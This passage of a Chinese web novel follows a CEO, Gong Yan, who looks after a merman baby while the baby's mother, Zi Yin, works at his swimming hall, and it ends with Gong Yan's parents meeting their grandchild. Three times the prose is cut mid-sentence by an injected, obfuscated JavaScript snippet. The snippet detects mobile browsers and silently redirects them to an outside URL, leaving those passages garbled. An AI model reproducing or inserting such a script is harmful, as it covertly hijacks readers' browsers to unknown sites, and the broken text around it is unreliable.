结果一夜过去,崽睡得天昏地暗,仿佛八百年没阖过眼,哼都没哼过一声。 宫砚:“……” 一大早醒来后神采奕奕的鱼崽,拍拍自己的西瓜小肚皮:“叭!吃!” 宫砚带着崽到母婴店里,买了一箱进口奶粉,顺便给穿得过于简陋的崽买两套新衣服,逛着逛着,不小心又买了一些口水巾、小围兜,一系列益智小玩具,爬爬垫,机关书…… 宫砚扛着一大箱东西回到办公室,按照说明泡了奶粉,崽攥着奶壶咕噜呼噜两大杯下肚,低着脑袋,用小萝卜指头扣扣新衣服上的纽扣。 宫砚用婴儿湿巾给小崽擦嘴巴,擦手指。 崽眼睛弯弯,露出粉色的豁口牙龈:“叭!” 宫砚忍不住露出老父亲和蔼的笑。 笑了一秒,脸部表情忽然变得无比僵硬。 等等……他怎么突然无师自通,变成养崽熟练工了? 宫砚平时来公司很早,员工们都还没到,他习惯放下东西,先去楼上的游泳馆锻炼二十分钟,洗完澡清爽地下来开始一天的工作。 踏入游泳馆,经理笑脸相迎,瞄到宫总臂弯里的宝宝时,表情空白一瞬。 “宫总真是年轻有为啊!”经理八面玲珑,巧舌如簧,张口就是一长串奉承,“事业有成不说,还这么顾家……哎呦,小公子简直长得跟您一模一样。” 宫砚瞥他一眼,奇道:“跟我长得一模一样?” 经理搓着手:“当然!您自己看不出来,但外人打眼一瞧,这眉毛,鼻子,可不是长得一模一样?” 宫砚暗自觉得有些诧异,不过奉承从小到大他听太多了,并没多在意。经理很周到地说:“宫总如果需要人照顾孩子,跟里面的服务生说一声就好了。” 宫砚点点头,正有这个打算。 VIP专属泳池区域内,池水映着碧蓝的池壁,干净清澈,微波荡漾。鱼崽第一个激动起来,蛄蛹着往外扑:“游!” 宫砚在鱼崽的小屁股上轻轻打了一下,“胆子挺大。”视线环顾,找服务生在哪里。 这时一道纤薄的身影迎了上来,声音清亮:“早上好先生,泳镜,泳帽已经为您预备好了,需要的话,我现在拿来。” 两颗脑袋同时转了过去,四眼震惊。 鱼崽:“咪!!” 宫砚:“你?!” 早晨雷霆带姿音来游泳馆,经理一打量,模特似的条亮盘顺,下水一试,游泳更是熟练好手。 VIP专属区域的服务生辞职了,刚好让姿音接手。 姿音换上白衬衫和收腰小马甲,打扮得干净利落,雷霆给他员工手册,让他背熟,“小音,在这里工作,你要记得最重要的一条:顾客就是上帝,千万千万不能被投诉!” 姿音鱼生第一次打工,有点小紧张,恳切点头:“我、我一定服务好!不被投诉!” 他声线清亮,语气温柔,听在耳中有股难以言说的熨帖感,仿佛喝了温热的蜂蜜水一般。因而宫砚一听这道声音,几乎是条件反射性地回头。 他和鱼崽同一个动作,同一个表情。 本来父子俩长得就像,这样一来,简直是成比例放大缩小了,让姿音一下噗嗤笑了出来。 崽也跟着嘎嘎笑,焦急地朝姿音伸出两条小胳膊:“咪!抱~” 姿音把鱼崽接了过去,从鱼崽出生起,他还没跟崽崽分开过,一晚上不见,再次沉甸甸地抱在怀里,居然鼻子酸酸的,眼眶微微地就湿润了,眼尾铺染出粉色。 “崽崽,呜,我的宝贝小鱼崽崽!” 姿音啵啵啵亲遍鱼崽的小脸蛋,跟小鱼苗脸贴脸,蹭来蹭去,活像分开了八年。 “咪!”鱼崽非常捧场,歪着脸给妈咪亲,再啃啃妈咪香香的脸,“爱!” 姿音捏着鱼崽的脸颊肉,仔细观察。 鱼崽大眼睛炯炯有神,望着妈咪。 完全被排挤到一边的宫砚:“……” “这么舍不得,就自己好好养……”宫砚嘀咕。 胖崽眼底的躁意消退了许多,现在是一只愉悦平静的鱼崽。 姿音笑道:“爸爸的信息素很有用,对不对?” 宫砚浑身一僵,听到那个称呼,不自觉就把腰板挺直了。 挺直了两秒,忽然反应过来,又偷偷放松下来。 怎么就爸爸了?干嘛套近乎。 “扣扣。”鱼崽用指头点点自己新衣服上的扣子,姿音眼神灿亮,惊喜万分。 “崽崽,你会说两个字啦!” 姿音抬起长长的睫毛,一双乌黑湿润的眼睛望向宫砚:“崽崽昨晚睡得很好,谢谢你。” 宫砚被他那真诚的目光一瞧,浑身一阵不自在,淡淡道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956537|160981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯。” 小崽晚上确实睡得踏实,悄无声息地,害得宫砚夜里还起来偷偷摸了两次呼吸。 鱼崽扯扯姿音的领口,指着泳池:“咪,游!” 姿音这才从喜悦中回过神来,想起自己的服务生身份,顿时站得笔直,垂下睫毛恭敬问:“宫先生,您还需要别的东西吗?重要物品可以交给我保管。” 宫砚:“拿一个泳镜吧。”把手腕上的表摘下递给姿音。 自去休息室换了泳裤,拿过漂亮服务生递来的泳镜戴上,干净一跃跳进泳池中,倒三角宽肩,充满力量感的长腿,在晶莹的浪花中霎是赏心悦目。 鱼崽两条短腿摆来摆去,做出游泳的动作:“鱼,咪!”姿音抱着崽站在泳池边,握住胖崽的小脚丫:“乖崽崽,不可以变成尾巴喔。” 宫砚游完一圈,用一个很潇洒的姿势摘掉泳镜。 眼尾瞥去对岸,却发现那人歪着脑袋,只顾跟怀里的小崽子像两只小动物似的亲亲蹭蹭,压根没朝这边看过。 就这样当服务生? 宫砚戴上泳镜,游到对面。姿音看到他靠近,立刻停止跟胖崽说小话,像个认真听课的学生一样,提高警惕,以防客人有任何需要。 宫砚没有上去,泡在水里:“拿条毛巾来。”姿音早准备好了,宫砚接过,往自己湿漉漉的脑袋上一盖,似乎不怎么着急,随意地擦着头发。 “你叫什么名字?” 姿音乖乖地答:“姿音。” “……你在这里工作?” 说完,宫砚就惊觉这是句废话,补充道,“以前没见过你。” 姿音柔声回答:“我是新来的,先生。” 两人就此沉默下来,姿音见宫砚脸冷冷的,有点怕他投诉自己,硬着头皮接着说:“……暂时在这里工作,很快就会离开。” 宫砚微微偏头,像是无意扫他一眼,“怎么?” 姿音说:“我是为了给崽崽赚点奶粉钱才来的。”宫砚心里咯噔一声,不知道为什么,有点不太好受。 可细究却发现,其实跟自己并没有什么关系。 哗啦一声,宫砚撑着扶手上岸,姿音早把鱼崽放下了,尽职尽责地展开手里的白色浴巾。 宫砚平时是绝不让人靠那么近的,但这次,觑到姿音小小尖尖的雪白下巴,拒绝的话一下噎在了喉咙口,人高马大地静立原地。 姿音上前,踮脚将浴巾披在宫砚的肩膀上,一双纤长白皙的手细心地抚平,将宫砚脖子上挂着的湿毛巾轻轻抽走。 奇异幽深的香气扑在脸上,宫砚下颌绷得紧紧的。 同手同脚走向休息室,宫砚洗完澡后穿戴整齐。 行,现在崽归原主,他对这人也既往不咎了,一切重回原点。 宫砚迈着大步朝馆外走,身后急急地叫:“先生。”宫砚脚步瞬间刹住,姿音赶上来说:“您的东西忘带了。” 手心里放着一只手表。 宫砚默不作声伸出手腕,姿音愣怔一瞬,而后低头捣鼓。“好了。”姿音抬起头,水红的唇角带了些骄傲漂亮的弧度。 “嗯。”宫砚点头。 刚一转身,只听身后又说:“先生,还有东西。” 宫砚心想,自己就摘了个表,哪还有什么东西?一转脸,一对精光四射的葡萄黑眼睛,一个白白软软的圆脸蛋怼到了面前。 崽:“。。” 无辜吐泡泡。 5. 第 5 章 姿音举着鱼崽:“这个崽崽,还请你继续带着吧。” 宫砚:“……” 不是?我长得就这么像冤大头苦力? 宫砚:“不行。” 姿音心里有点生气,抿了抿嘴唇,委屈地说:“可你是崽崽的爸爸啊,我们那边都是爸爸带崽。” 宫砚:…… 说话就说话,眨什么眼,撒什么娇,以为自己会上当吗? 还有,到底是怎么把胡话讲得这么理直气壮的…… “那只有晚上呢?”姿音追上来问,“晚上让崽崽跟你一起睡,好不好?” 他睫毛扑簌簌颤抖,因为急切,面颊红扑扑的,一张窄小的雪片般的脸庞格外楚楚可怜。宫砚内心不能说没有触动,然而反应在脸上,只是眉心微微蹙顿。 姿音以为他无动于衷,叹了口气:“好吧。” 就在宫砚觉得他要放弃的时候,就听这人开口说:“我给你钱。” 宫砚:? 姿音:“我雇你当崽崽的保姆,给你发工资。” 宫砚:哈?? 宫砚没有答应,他有他的自尊,梗着脖子就回了楼下办公室。 他自认是个理智的成年男性,没有任何理由应该答应这种无稽之谈。 “宫总?……宫总?” 直到秘书叫,宫砚才意识到自己已经盯着电脑屏幕发了长达十分钟的呆。 “咳咳,”宫砚面不改色,“怎么了?” 秘书视线落到桌角的电话上,原来电话一直在响,宫砚竟然一点没听到。 宫砚面上讪讪,摆摆手,秘书于是出去了。 刚拿起电话,那边的数落像冰雹似的噼里啪啦砸下:“宫砚,你上次怎么答应你妈妈的?不是说这周回家吗?刚才我在家庭群里问你,你怎么不回复?从你创立这家公司开始……” 宫砚默默把话筒拿远一些。 五分钟过去,宫爸声若洪钟,火气十足地收尾:“你眼里到底还有没有父母?有没有家庭?你就不能让两个年过半百的老人高兴点?!” 宫爸骂完,宫妈接手,“我们尊重你的事业,扪心自问,一直以来有没有人强硬地逼过你?那作为父母,我们适当的劝导,你还是应该听一听的吧?……” 宫砚:“……” 一句没来得及回复的消息,像条引火线似的,把二老心中的积怨通通炸了出来。 宫爸宫妈组合技,一人一句:“你不说话,是故意装聋作哑吗?那没用!给你介绍的人你是一个不见,怎么,打算孤独终老?辛辛苦苦创建的基业连个传承都没有……现在你爸爸慢慢退下来了,时间宽裕了……” 宫砚百无聊赖地听训,来来回回就是这些内容。 宫妈:“……什么时候能看到你家庭美满,我们又什么时候有一般人家的福气,能抱上孙子?” 断断续续地,宫砚敏锐地捕捉到最后那一句,脑袋里突然蹦出两只小动物亲亲蹭蹭的画面。 “孙子吗?”宫砚拿着电话说,“这个有。” 对面瞬间停了火力,懵然地问:“什、什么?你说什么?” 宫砚直截了当:“今晚我回去。” 说完就挂掉了电话,略有些急躁地站起身。 好似终于找到了正规理由般,宫砚嘴角逸出笑意,心中怀着一丝激荡,底气十足地朝楼上游泳馆去。 * 游泳馆里,姿音将烘干的毛巾整整齐齐地叠好,分门别类。 他的工作不多,打扫方面由专业的保洁人员处理,除了服务自己负责的两个VIP区域,其余的就是检查区域内恒温装置,将客人需要用到的游泳设备妥帖地准备好。 VIP泳池只面向专属大客户,所以宫砚走后,这里空无一人。 鱼崽坐在一旁的沙发里,学着姿音的样子,揪住毛巾的两个小角,亲一亲,碰一碰,再胡乱地团成一团。 “哈!”鱼崽拍拍小毛巾,让妈咪看。 姿音锁好柜子,装作惊讶:“好厉害呀!崽崽,你是叠毛巾的天才。” 鱼崽高兴地抓住毛巾甩来甩去转圈圈,崽天生巨力,呼啦呼啦,越转越快,一个脱手,毛巾飞上天,啪叽一声,掉到泳池中央。 “不可以丢东西到泳池里面。”姿音说,鱼崽乖巧点头:“飞!咪。” 姿音捏捏崽崽的脸,笑道:“我知道崽崽是不小心的,毛巾飞进去了。我去捡回来。” 看到妈咪要跳下池子,鱼崽急得差点站起来:“咪!鱼鱼!” 姿音回头,鱼崽连忙伸出两条小胖胳膊,嘟着嘴巴让妈咪带着他这条小鱼一起。 “不是去玩。”姿音解释,不过崽崽眼睛圆圆亮亮的,很期待的样子,他就心软了。 虽然崽崽有一半的人类基因,但一直是在海里生活的,这两天都没见水,很可怜的一条小旱鱼。 崽崽只是帮忙下去捡个东西,很快就上来。 姿音抱着鱼崽下水,鱼崽兴奋地拍打水面:“咻!咻!” “玩小炮弹游戏吗?”姿音温柔地笑,攥住胖崽的腿,贴着水面,猛地往前一推,胖崽就像小炮弹一样发射了出去。 “嘎嘎嘎嘎嘎……”鱼崽傻乐,清脆的笑声在四周池壁荡来荡去。 鱼崽牢牢记住妈咪说不能变成尾巴,所以只用两条小短腿扑腾。但在强大的种族天赋加持下,速度依旧快如闪电,转瞬间就拿到了那条白毛巾,游回了姿音身边。 宫砚一进来,就看到这一幕。 姿音一手拎着淌水的崽,一手将前额湿漉漉的黑发往后拨,雪白的脸颊,黑玛瑙似的乌黑含水的眼,红润的唇,浸湿的衣服贴着纤长的身体,踩着楼梯,一步步慢慢地走上岸。 宫砚像是被这种浑然天成的美震撼到心灵一般,一动不能动。 下一刻,理智回归,想到可能发生了什么,宫砚心脏几乎停跳一拍,拔腿就跑了过去。 “怎么了?小崽掉下去了?” 他猝不及防地出现,姿音吓了一跳,脸上顿时显出被抓包的心虚。 “没有,东西掉了,下去捡回来。”姿音偷瞄一眼宫砚,“……请不要投诉我。” 听到没有发生意外,宫砚心跳缓慢恢复正常节奏。 离得近了,那双含水的乌眸仿佛更亮,说话时唇也湿湿的,衣料透出白皙肌肤,宫砚慌忙退后一步。 “你……工作做得很好,我为什么要投诉你?”宫砚语速很快,眼睛根本不敢放在姿音身上。 “真的吗?”姿音笑起来,露一点洁白的齿尖,那么天真,让宫砚觉得他单纯得可怕。 姿音一边上下甩掉鱼崽身上的水,一边说:“被投诉是要扣钱的,严重了还要被赶走。” 宫砚心中一阵难受。 明明是跟自己没什么关系的人,可他的心居然鼓胀起来,像被什么酸涩的液体充满了。 “小崽给我吧。”宫砚伸手把鱼崽接了过来。 “你答应照顾崽崽啦?”姿音又惊又喜,“太好了,我、我给你钱!” “不用,”宫砚说,“我带着他,对我也有好处。这是一笔公平的交易。” 听到“交易”二字,姿音狐疑地瞪大眼睛,半晌严肃地说:“不能买卖幼崽,犯法哦。” 宫砚:“。”知道的还挺多。 宫砚挑眉:“一定要我当这个保姆?”姿音坚决点头:“必须是你,因为你是崽崽的爸爸啊,每天都要陪崽崽睡觉才可以。” 宫砚拗不过他,况且,人还湿漉漉地站在这里,也不怕着凉:“行吧,一个月一百块。” 姿音想了想自己的工资,比对一下:“你这么廉价吗?” 廉价的百亿身家宫总:“……” 宫砚把胖崽抱走了,走之前找到经理,问他给姿音开多少工资。 游泳馆是宫砚当初投钱建立,他算大老板,这点钱于他而言只是洒洒水,平时根本不过问经营状况。 经理以为大老板要查账了,顿时小心翼翼起来,一五一十地答说:“试用期六千,一个月转正后是七千,双休,季度奖金另算。” 宫砚蹙眉:“太低了。”A市是全国经济中心,物价水平高,这点钱除去生活成本,还剩什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956538|160981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “全部涨一倍。”宫砚大手一挥,经理愣怔片刻,乐不可支,替员工们连连道谢。 宫砚眼尾朝游泳馆里睨去:“总之,在我手下,钱这方面不要为难人,待遇也要最好的。” “……就算犯了什么大错,也先来告诉我,别不管三七二十一随意把人打发走。” 经理早注意到大老板的眼神了,心中稍微一揣摩,就明白宫总或许跟那位新上岗的漂亮青年之间,有点什么暧昧的猫腻,忙不迭点头答应。 * 傍晚时候,姿音找到经理,问能不能先支取半个月的工资。 “当然可以。”经理友善地笑说,“你做事很细心,这还有一笔客人给的小费。你一起拿着吧。” 姿音摸到红包里厚厚的一沓,他从来没见过这么多钱,不禁发出没见识的声音:“这么多吗?” 经理乐了:“第一次见嫌钱多的。”姿音不好意思地低头笑笑。 “对比同行,我们这里的待遇是顶尖的,你就在这里安稳地干下去。”经理稳住人心,姿音在这里工作,他们游泳馆全体员工好处大大的有。 “快到时间了,早点下班吧。”经理抬起手腕,看看表。 姿音把红包塞进口袋里,仔细地拉上拉链:“经理再见。”转去里面找雷霆,两人一同下楼。 姿音说:“雷大哥,我想租个房子。” 一来,原先他只打算暂留陆地几天,所以住在雷霆家中还不算麻烦人家。可现在他需要工作攒钱给崽崽,不是一两天的事。 二来,人鱼族的生活习性以家庭为中心,不习惯和其他鱼类长时间居住在一起。 雷霆不愧同是海底鱼,一下就理解了:“行!咱们馆里的前台上周在朋友圈发转租消息,我看那房子还没租出去,咱一块去瞧瞧?” 事情进行得异常顺利,雷霆联系同事,和姿音一起去看房子,房子是两室一厅的小格局,但离游泳馆近,设施齐全,拎包入住。 最重要的是,浴室有个小浴缸! 看到浴缸的一瞬间,雷霆和姿音对看一眼,就这个了! 姿音用半个月工资付了房租,当晚就住了进来。 夜晚,一条人鱼趴在床上,警惕地张望左右后,开始一张张地数红钞票。灵巧的尾巴尖悠悠摇晃,在空气中划出一圈圈电蓝色的流光线条。 “两千一百块、两千二百块、两千三百……” “奶粉三百块一罐,保姆一百块一个月……” 姿音计算了两遍花费,很开心地想,一个月,他工作一个月赚到的钱,足够崽崽喝半年奶粉了。 那么一个月之后,他可以先回海里。 陆地对他而言不方便,作为一条纯正的人鱼,姿音一天内必须下水保持身体湿润,维持双腿形态,免得在人类面前变成小鱼干。 姿音捏起钞票,重新一张张塞进红包里,然后小心翼翼地藏在枕头底下。 拍了拍枕头,姿音微笑闭上眼睛,开始做和宝贝鱼崽崽一同回海洋的美梦。 与此同时,宫家别墅,宫妈宫爸气得大眼瞪小眼。 “太过分了这小子,为了搪塞我们,现在什么谎话都说得出来!” “还孙子?他一天天待在办公室,上哪儿忽然蹦出来个孩子?” 夫妻二人脸色愈加阴沉,就等着宫砚回到家,一起开批斗大会。 不多时,别墅大门打开,一辆黑车稳稳停在前厅门,宫爸宫妈携手走出前厅,山雨欲来。 不料宫砚从车后座跨出,怀里……居然当真有个脸蛋雪白的奶娃娃?! 宫家二老仿佛成了两具泥塑木偶人,呆呆地望着宫砚怀里的孩子。 宫砚用手指逗逗鱼崽的脸蛋:“叫奶奶。” 鱼崽:“呐?” 宫砚:“这个是爷爷。” 鱼崽:“耶?” 宫妈宫爸脸上的愤郁一扫而空,态度一百八十度大转变,两双眼睛里同时射出怜爱的光芒。 宫妈妈:“拿来!我一眼就看出这是我亲孙子!!!” 宫爸爸:“宝贝孙子,快到爷爷怀里来!!!” 6. 第 6 章 鱼崽被宫家二老捧月般的搂在怀里,那股疼爱劲,从二老夹起来的嗓音之高可见一斑。 “哎呦宝宝,我是奶奶呀,瞧我们宝宝这大眼睛长的,可真漂亮!” “宝宝,我是爷爷哦,耶?宝宝叫得真好!真聪明!” 而宫砚,像把晚市没人要的烂菜叶子,被远远留在了后面。 宫砚:“……” 二老凑在一块,围着鱼崽崽快把嗓子都夹哑了,鱼崽对这两个笑得牙不见眼、声音高高像唱歌一样的人也很好奇。 “呐,呐!”鱼崽对着奶奶举起小手,宫妈眼眶顿时红一圈,握住鱼崽的小手。 “耶,耶!”鱼崽摸摸爷爷的胡茬,宫爸手背盖在眼睛上,低低呜咽两声。 宫砚双臂交叠站在一旁,就奇怪了,忍不住问:“你们就这样接受了?不怕我是随便从哪儿抱来一个孩子搪塞你们的?” 宫妈瞥他一眼,自从见到了自己的宝贝大孙子,这儿子怎么看怎么便宜,一点也不稀罕了。 “我们两个是年纪大了,不是瞎了,宝宝跟你小时候长得一模一样。怎么?你路边随便抱,都能抱一个这么像的?你是活神仙啊!” 她说话音调高低婉转,把鱼崽逗乐了,圆眼睛成了两条豌豆角。 宫爸附和笑道:“瞧!宝宝这一笑,更像了。” 宫砚想起游泳馆的经理说的话,不由得眉头微蹙。 这么像? 可这样岂不是很奇怪?他确定,自己二十五年的人生中,除了去年宴会被下药和姿音那晚,没有跟任何人有过出格行为,更没有捐献过精,子…… 他正想得出神,宫妈抱着鱼崽,问:“宝宝多大了啊?沉甸甸的跟个小石墩似的,这么早就会讲话了吗?” 多大? 姿音没有说过。 宫砚脸上自然而然出现思索的神情,肩膀上冷不防狠挨了一下。 宫爸斥道:“家门不幸!我要把咱们家的家产全部留给我孙子,你一分钱都别想拿。” 从二老的视角看,宫砚没结婚,突然抱回来个孙子,还连孙子的基本情况都不了解,可见根本没参与过抚养过程。 再一推敲,这后面可想象的渣男空间可就大了,简直辱没门楣。 宫砚:“……” 宫砚本就是带崽回家,堵住二老的嘴,所以也不解释什么。 宫妈见宫砚今晚跟个闷葫芦似的,连解释都不解释一下,于是猜想这背后的故事大概不怎么愉快。 “别的我们就不问了。宝宝叫什么名,你总知道吧?” 宫砚想起姿音喊过的一串“崽崽,鱼崽崽,宝贝,小鱼苗苗”,唇角几不可闻地掀了一瞬,在其中挑选了一个“小鱼崽”出来。 “小鱼崽。”宫妈喜欢极了,“我们宝宝原来是条小鱼啊。” 鱼崽胖胖的萝卜指头指自己:“鱼鱼!”小屁股一扭,做出要游走的样子,逗得二老笑个不停。 在家里吃了顿晚饭,又玩了一会儿,宫砚把鱼崽从爷爷的背上抱起来。 “走了,小家伙。” 宫爸宫妈万分不舍,“你平时不是忙工作吗?你忙去吧,我们以后也不唠叨你了,但不能苦了小鱼崽。” 把鱼崽给爸妈带当然很省事,但宫砚答应过姿音,每天都要陪鱼崽睡觉。 “不了,我自己带。” 宫砚是很有决断的性格,他说自己带,二老就明白无论如何留不下来。 “……我会经常带鱼崽回来的。”宫砚看着眼含热泪的爸妈,心中也挺无奈。 走之前,宫妈拉住宫砚:“对人家好点,知不知道?” 宫砚:? 坐上车,宫砚才反应过来,这个“人家”指的是小鱼崽的妈妈。脑袋里居然第一时间跳出来姿音那张出水芙蓉的清丽面庞…… 宫砚轻轻晃了晃脑袋,觉得自己可能是疯了。 但……小崽不是喊姿音“咪”吗? 妈咪? 总不能是猫咪?笑咪咪?叨来咪? 意识到自己陷入了无厘头的猜想里,宫砚忍不住轻笑出声。 接下来两天,宫砚从早到晚地带着鱼崽,他的办公室从欧式简约风,风卷残云似的进化成儿童卧室风。 爬爬垫占据了半间办公室地板,所有尖锐桌角统统裹上防撞棉,堆成小山的机关图画书,叮铃当啷的小玩具…… 宫砚看了看奶瓶上的刻度,喃喃道:“今天吃得有点多了。”便把鱼崽直挺挺抱着,一边走,一边轻轻拍背。 等鱼崽长长出了几口气,呼吸平稳了,宫砚拿出一本图画书。 “咪!”鱼崽指头点点上面一条蓝色的鱼,给宫砚看。又指着另一条粉色的鱼,笑出短短的牙龈,甜甜地叫:“咪!” 今早有个早会,宫砚没去游泳馆,所以还没见到那个人。 所幸在他怀里,鱼崽还挺贪睡,经常玩着玩着就睡着了,图画书还没翻两页,小家伙就睡着了。 宫砚把书轻轻放到桌上,点开电脑。 短短时间内,他已经习惯一手稳妥抱着熟睡的鱼崽,一手稳健办公。 就连宫砚自己,也感到异常疑惑。 他是不是太熟练了? 在此之前,他甚至从来没接触过小孩子。 同时心里又不免有点得意,姿音把小崽交给他,自己这份保姆的差事应该办得还可以吧?等下班的时候,他带着小崽去游泳馆,把工作汇报一下,看那个人怎么说…… 然而这份得意骄傲没有持续多久,因为到了下午四点多,鱼崽悠悠转醒,眨了眨大眼睛,看着宫砚的脸,毫无预兆地开始大哭起来。 宫砚以为是饿了,可崽的小肚子还是圆鼓鼓的。 “玩玩具?”宫砚找了个玩具小铃铛,叮当当晃着吸引鱼崽的注意力,鱼崽一眼也不看,豆大的眼泪顺着脸庞流下来,哭出两条小河。 “走走,走走好不好?来,看看风景。” 宫砚赶紧站起来,抱着崽崽站到玻璃窗前,俯瞰自己打下的商业江山。 “哇——” 鱼崽对自己将来继承的财产一点都不在意,哭得小脸皱皱巴巴。 宫砚慌了,心想难道是哪里疼?这时候,电脑自动轮换的屏保,放上了一张海底图,幽蓝的海水里有一群色彩斑斓的鱼儿。 鱼崽顿时止住了哭,像是整条鱼给按住了暂停键,可怜巴巴地盯着屏幕看。 宫砚大气不敢喘:“……喜欢小鱼,是吗?” 鱼崽呆呆地望着,长睫毛上还挂着泪珠。 就在宫砚悄悄松了一口气时,屏保猝不及防地换到了下一张,小鱼消失了。宫砚听到了自己倒吸一口凉气的声音。 “呜,呜,哇——” 下一秒,鱼崽哭得更凶了,宫砚手忙脚乱地调回上一张屏保,可鱼崽压根不看了。 宫砚想起玩具箱里有钓鱼套装,一边哄,一边去翻。 总裁办公室的隔音非常强,宫砚一个人在屋里焦头烂额,外面应该一点听不到的。 但他不知道的是,人鱼幼崽哭泣的时候,会发出一种只有人鱼族才能听到的细小声波,这种声波能突破任何障碍物,传得很远很远。 所以在宫砚还没翻出那套玩具的时候,从崽开始大哭的两分钟之内,一个身影如疾风一般从楼上游泳馆跑下来,一路卷到宫砚办公室门口。 嘭! 办公室的门被推开,姿音大步走进来。 人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956539|160981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼族有着强烈的护崽天性,不管三七二十一,姿音一把将自己的宝贝鱼崽从宫砚手里夺了过来,动作之迅猛,仿佛刮过一阵狂风。 宫砚愣了愣,说不出的心虚,“他、他突然哭了。” 姿音像没听到一样,把小鱼崽抱到怀里,握着崽崽的小胳膊腿仔细检查了一遍,旋即动作很轻柔地晃动手臂,把脸挨到鱼崽的小脸蛋上蹭蹭。 宫砚像犯了错的学生,很拘谨地站在一旁看着。 确认自己的崽没事,种族天性骤然敛去,姿音的气场肉眼可见地柔和下来。鱼崽跟妈咪贴着脸蛋,软绵绵,热乎乎的,哭声渐弱,两只小手铁爪似的,牢牢揪住姿音的衣服。 姿音笑了笑,眉目柔和:“我在这里呢,崽崽想我啦。” 鱼崽重重地点点脑袋,搂住妈咪的脖子,小鼻子里抽噎一下。他哭得满脸是泪,姿音下意识望一圈周围,想找个什么东西给擦擦。 宫砚手脚麻利,一张婴儿湿巾立刻就递了过去。 姿音给崽擦擦脸,擦擦鼻子,擦擦嘴巴,他一手还抱着崽,不好擦崽的手指,于是看了宫砚一眼。 宫砚瞬间就反应,又抽了张湿巾,握住鱼崽的小手,弯着腰仔仔细细地擦了一遍。 “香香的。”姿音亲了亲鱼崽的手心,鱼崽慢慢开心起来,抱住姿音的脸啃了一口,“香!咪。” 这时候,宫砚的心才渐渐放回胸腔里,问姿音:“……刚才怎么了?” 姿音说:“没事,崽崽想我了。”察觉到宫砚脸上仍留有的紧张神色,有些抱歉地说:“对不起,吓到你了吧?崽崽偶尔醒来会这样。” 宫砚怎么肯在他面前承认自己方才确实慌张,几个小时前,他甚至还想着邀功呢。 不过中午的时候,鱼崽看着图画书上的鱼喊姿音,大哭的时候,看到鱼就停了下来。果然是想他了。 宫砚表情故意凛了凛,从容道:“不哭了就好。” 姿音却捉住鱼崽的小手,伸到宫砚身前:“崽崽现在不哭了,对不对?那和爸爸和好吧。” 鱼崽笑笑,短短的指头在空中抓抓抓。宫砚又在他口中听到那个软软温柔的称呼,脊背像被电流打了一样,严肃的面容维持不下去,泄露了一丝笑意,伸出食指,跟崽崽的小手握了握。 闹剧收场,宫砚才扫到自己办公室的门没关。 此时,门前匆匆走过许多身影,明明是最里面的总裁办公室,却忽然人山人海起来。 员工们借由路过,一遍遍偷扫办公室里惊掉人眼球的一幕。 “你们看到没?宫总刚刚笑了!” “那个眼睛圆圆的崽就是宫总的儿子吧?那另外一个人是谁?长得好漂亮,好般配……” “天呐,这一家三口,多么养眼的画面啊……” …… 宫砚轻咳一声,不动声色地走过去把门关上。姿音又哄了鱼崽一小会儿,宫砚瞧了瞧他,体贴地说:“给我吧,你上去工作。” 很快地在姿音脸上觑一眼,状似随意地说:“等下班了,我再带着去找你。” “嗯。”姿音也觉得离开太久不好,宫砚伸手去接崽,没接到,崽崽两只铁爪爪紧紧地扣住姿音的衣服。 “崽崽想跟我一起吗?”姿音看着怀里的鱼崽问,鱼崽坚定地喊:“咪!” 姿音点了点崽崽的小鼻子,欢快而宠溺地说:“那好吧。” 宫砚愣住了。鱼崽现在要跟着姿音,或许晚上姿音也不需要他带崽了,那他还有作用吗? 好像,就此失去了什么连接一般。宫砚心中一阵难以言说的怅惘。 然而就在姿音想要转身离开时,崽崽分出一只手,也同时牢牢地揪住宫砚的领带。 “叭!” 7. 第 7 章 姿音怔了怔,试探着握住鱼崽的小手腕,提醒说:“崽崽?我们要走了哦。” 鱼崽抓在宫砚领带上的五根胖指头丝毫未动,仿佛狩猎到一条细细的蛇,圆而大的瞳孔微微收缩。 姿音问:“宝宝想留在这里,跟爸爸一起吗?”鱼崽的回应是紧了紧揪在妈咪衣服上的手指。 很明显,爸爸妈咪,崽都要。 姿音:“……” 姿音困扰地歪起脑袋,细薄的眼皮抬起,略带抱歉地朝宫砚瞅一眼。 宫砚则是心情由阴转晴,然而努力板起脸,做出一副为难的神情。 “既然这样,那你别走了。”宫砚主持大局,“我替你给馆里的经理打个电话,他能理解的。” 姿音也根本没有硬要鱼崽二选一的打算,闻言松了口气,漂亮的唇角抿了点笑,感激地瞧着宫砚:“谢谢你。” 宫砚脊背挺得更直了,当场用桌上的电话打了过去,对面的经理自然连口答应,无有不从。 